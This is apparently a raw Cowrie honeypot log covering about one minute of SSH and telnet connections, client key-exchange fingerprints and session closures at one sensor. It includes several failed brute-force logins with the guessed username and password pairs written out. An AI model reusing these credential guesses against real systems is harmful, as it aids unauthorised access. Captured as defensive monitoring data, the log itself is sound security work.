{"eventid":"cowrie.login.failed","username":"root","password":"1a2s3d","message":"login attempt [root/1a2s3d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:23.232928Z","src_ip":"171.244.141.86","session":"fec124507b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:24.481144Z","src_ip":"171.244.141.86","session":"fec124507b9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.77735424041748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:24.658537Z","src_ip":"209.126.87.217","session":"29062c4b1a54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":36906,"dst_ip":"159.203.135.109","dst_port":23,"session":"d05ef5297b24","protocol":"telnet","message":"New connection: 209.126.87.217:36906 (159.203.135.109:23) [session: d05ef5297b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:24.966098Z"}
{"eventid":"cowrie.session.closed","duration":31.849080324172974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:25.490083Z","src_ip":"209.126.87.217","session":"fba4a7d41cf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3602077960968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:26.396449Z","src_ip":"108.179.216.206","session":"abc2ad5e1f52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51951837539673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:26.433153Z","src_ip":"108.179.216.206","session":"11bd40e3776e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.543663024902344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:27.750080Z","src_ip":"108.179.216.206","session":"cc4b6decf699","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.031365633010864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:27.868890Z","src_ip":"209.126.87.217","session":"3ecc5b62506a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40055704116821,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:28.063659Z","src_ip":"209.126.87.217","session":"71f9d2a1ae37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":41294,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d9e9da95a66","protocol":"telnet","message":"New connection: 108.179.216.206:41294 (10.17.0.5:23) [session: 1d9e9da95a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:28.183674Z"}
{"eventid":"cowrie.session.closed","duration":35.01462268829346,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:29.076120Z","src_ip":"209.126.87.217","session":"1675f9582bf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":52162,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e0a79a14c0f","protocol":"telnet","message":"New connection: 139.162.207.207:52162 (10.17.0.5:23) [session: 7e0a79a14c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:32.419481Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":38818,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a91e2b84402","protocol":"ssh","message":"New connection: 103.146.202.174:38818 (159.203.135.109:22) [session: 5a91e2b84402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:33.522145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:33.526980Z","src_ip":"103.146.202.174","session":"5a91e2b84402","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:33.774092Z","src_ip":"103.146.202.174","session":"5a91e2b84402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.944221258163452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:34.638083Z","src_ip":"209.126.87.217","session":"7770d48c725a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00154733657837,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:34.674468Z","src_ip":"72.27.54.238","session":"e507c35e6bea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21298599243164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:34.724533Z","src_ip":"108.179.216.206","session":"5e311c166238","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:34.794098Z","src_ip":"103.146.202.174","session":"5a91e2b84402","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":51328,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fd0d816f057","protocol":"telnet","message":"New connection: 108.179.216.206:51328 (10.17.0.5:23) [session: 0fd0d816f057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:35.790297Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:36.046699Z","src_ip":"103.146.202.174","session":"5a91e2b84402","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":47626,"dst_ip":"10.17.0.5","dst_port":23,"session":"3323156ac5d3","protocol":"telnet","message":"New connection: 139.162.207.207:47626 (10.17.0.5:23) [session: 3323156ac5d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:36.636491Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":55774,"dst_ip":"10.17.0.5","dst_port":23,"session":"73a46322b5c0","protocol":"telnet","message":"New connection: 108.179.216.206:55774 (10.17.0.5:23) [session: 73a46322b5c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:40.203910Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.27.54.238","src_port":58378,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fcb506f9651","protocol":"telnet","message":"New connection: 72.27.54.238:58378 (159.203.135.109:23) [session: 1fcb506f9651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:41.436385Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47040,"dst_ip":"159.203.135.109","dst_port":23,"session":"4acd0a4690e8","protocol":"telnet","message":"New connection: 209.126.87.217:47040 (159.203.135.109:23) [session: 4acd0a4690e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:43.244598Z"}
{"eventid":"cowrie.session.closed","duration":32.04275584220886,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:45.012127Z","src_ip":"108.179.216.206","session":"4fbfc57d9d93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.46563649177551,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:45.158616Z","src_ip":"108.179.216.206","session":"3d3e88a2fae6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47044,"dst_ip":"159.203.135.109","dst_port":23,"session":"bba9f7fbe812","protocol":"telnet","message":"New connection: 209.126.87.217:47044 (159.203.135.109:23) [session: bba9f7fbe812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:46.221612Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":35492,"dst_ip":"10.17.0.5","dst_port":23,"session":"43ab1672a40b","protocol":"telnet","message":"New connection: 139.162.207.207:35492 (10.17.0.5:23) [session: 43ab1672a40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:46.362914Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":34546,"dst_ip":"10.17.0.5","dst_port":23,"session":"4de1c044c76f","protocol":"telnet","message":"New connection: 108.179.216.206:34546 (10.17.0.5:23) [session: 4de1c044c76f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:46.869549Z"}
{"eventid":"cowrie.session.closed","duration":120.00179672241211,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:47.039940Z","src_ip":"42.114.201.41","session":"d5d89f72ca4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":59974,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc7b7a72e00a","protocol":"telnet","message":"New connection: 42.114.201.41:59974 (159.203.135.109:23) [session: fc7b7a72e00a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:48.119859Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":35500,"dst_ip":"10.17.0.5","dst_port":23,"session":"faa0426547bd","protocol":"telnet","message":"New connection: 139.162.207.207:35500 (10.17.0.5:23) [session: faa0426547bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:48.434311Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":47046,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c7f7870855f","protocol":"telnet","message":"New connection: 209.126.87.217:47046 (159.203.135.109:23) [session: 1c7f7870855f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:49.315508Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":35514,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5c46a6ad467","protocol":"telnet","message":"New connection: 139.162.207.207:35514 (10.17.0.5:23) [session: e5c46a6ad467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:49.390739Z"}
{"eventid":"cowrie.session.closed","duration":120.00133800506592,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:49.482853Z","src_ip":"42.114.201.41","session":"330af1583c45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":64216,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b57a546195d","protocol":"telnet","message":"New connection: 42.114.201.41:64216 (159.203.135.109:23) [session: 6b57a546195d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:49.717744Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":35528,"dst_ip":"10.17.0.5","dst_port":23,"session":"2688847f0a8a","protocol":"telnet","message":"New connection: 139.162.207.207:35528 (10.17.0.5:23) [session: 2688847f0a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:49.768532Z"}
{"eventid":"cowrie.session.closed","duration":36.703373193740845,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:50.638991Z","src_ip":"139.162.207.207","session":"6450befe35b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":23592,"dst_ip":"159.203.135.109","dst_port":23,"session":"95ed987bbbeb","protocol":"telnet","message":"New connection: 42.114.201.41:23592 (159.203.135.109:23) [session: 95ed987bbbeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:50.717663Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":58548,"dst_ip":"10.17.0.5","dst_port":22,"session":"5581f9adac45","protocol":"ssh","message":"New connection: 45.43.86.48:58548 (10.17.0.5:22) [session: 5581f9adac45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:51.589055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:51.593908Z","src_ip":"45.43.86.48","session":"5581f9adac45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:51.692946Z","src_ip":"45.43.86.48","session":"5581f9adac45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops2023","message":"login attempt [devops/devops2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:52.096466Z","src_ip":"45.43.86.48","session":"5581f9adac45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59852,"dst_ip":"159.203.135.109","dst_port":23,"session":"b952047ab232","protocol":"telnet","message":"New connection: 209.126.87.217:59852 (159.203.135.109:23) [session: b952047ab232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:52.978285Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:53.185149Z","src_ip":"45.43.86.48","session":"5581f9adac45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":42748,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ac354c934c3","protocol":"telnet","message":"New connection: 108.179.216.206:42748 (10.17.0.5:23) [session: 0ac354c934c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:55.587883Z"}
{"eventid":"cowrie.session.closed","duration":32.177098989486694,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:57.143057Z","src_ip":"209.126.87.217","session":"d05ef5297b24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56634,"dst_ip":"159.203.135.109","dst_port":22,"session":"c06abde1afa2","protocol":"ssh","message":"New connection: 159.203.92.129:56634 (159.203.135.109:22) [session: c06abde1afa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:57.493362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:57.498574Z","src_ip":"159.203.92.129","session":"c06abde1afa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:57.514514Z","src_ip":"159.203.92.129","session":"c06abde1afa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"PASSword","message":"login attempt [ansible/PASSword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:57.572712Z","src_ip":"159.203.92.129","session":"c06abde1afa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":59858,"dst_ip":"159.203.135.109","dst_port":23,"session":"c05267553766","protocol":"telnet","message":"New connection: 209.126.87.217:59858 (159.203.135.109:23) [session: c05267553766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:57.976024Z"}
{"eventid":"cowrie.session.closed","duration":120.0016438961029,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:58.312037Z","src_ip":"170.82.106.219","session":"aaaf39ebf0bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:58.578733Z","src_ip":"159.203.92.129","session":"c06abde1afa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.41424298286438,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:58.585253Z","src_ip":"139.162.207.207","session":"f0d9a8ab8ef0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.44372797012329,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:58.604005Z","src_ip":"108.179.216.206","session":"b6a88f6e0bab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.838552474975586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:59.022113Z","src_ip":"108.179.216.206","session":"1d9e9da95a66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":46126,"dst_ip":"10.17.0.5","dst_port":23,"session":"2862817629ea","protocol":"telnet","message":"New connection: 108.179.216.206:46126 (10.17.0.5:23) [session: 2862817629ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:59.160659Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.82.106.219","src_port":48230,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e94727170a3","protocol":"telnet","message":"New connection: 170.82.106.219:48230 (10.17.0.5:23) [session: 9e94727170a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:59.205637Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":50046,"dst_ip":"159.203.135.109","dst_port":23,"session":"705927b19f4e","protocol":"telnet","message":"New connection: 209.126.87.217:50046 (159.203.135.109:23) [session: 705927b19f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:09:59.925313Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":43848,"dst_ip":"10.17.0.5","dst_port":23,"session":"be7b9560b5e7","protocol":"telnet","message":"New connection: 139.162.207.207:43848 (10.17.0.5:23) [session: be7b9560b5e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:01.305568Z"}
{"eventid":"cowrie.session.closed","duration":38.33898043632507,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:01.475819Z","src_ip":"139.162.207.207","session":"4b48d67b9dc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.26203536987305,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:02.616745Z","src_ip":"139.162.207.207","session":"6d32b148e199","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":49556,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e369a4be33e","protocol":"telnet","message":"New connection: 108.179.216.206:49556 (10.17.0.5:23) [session: 9e369a4be33e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:10:03.001093Z"}
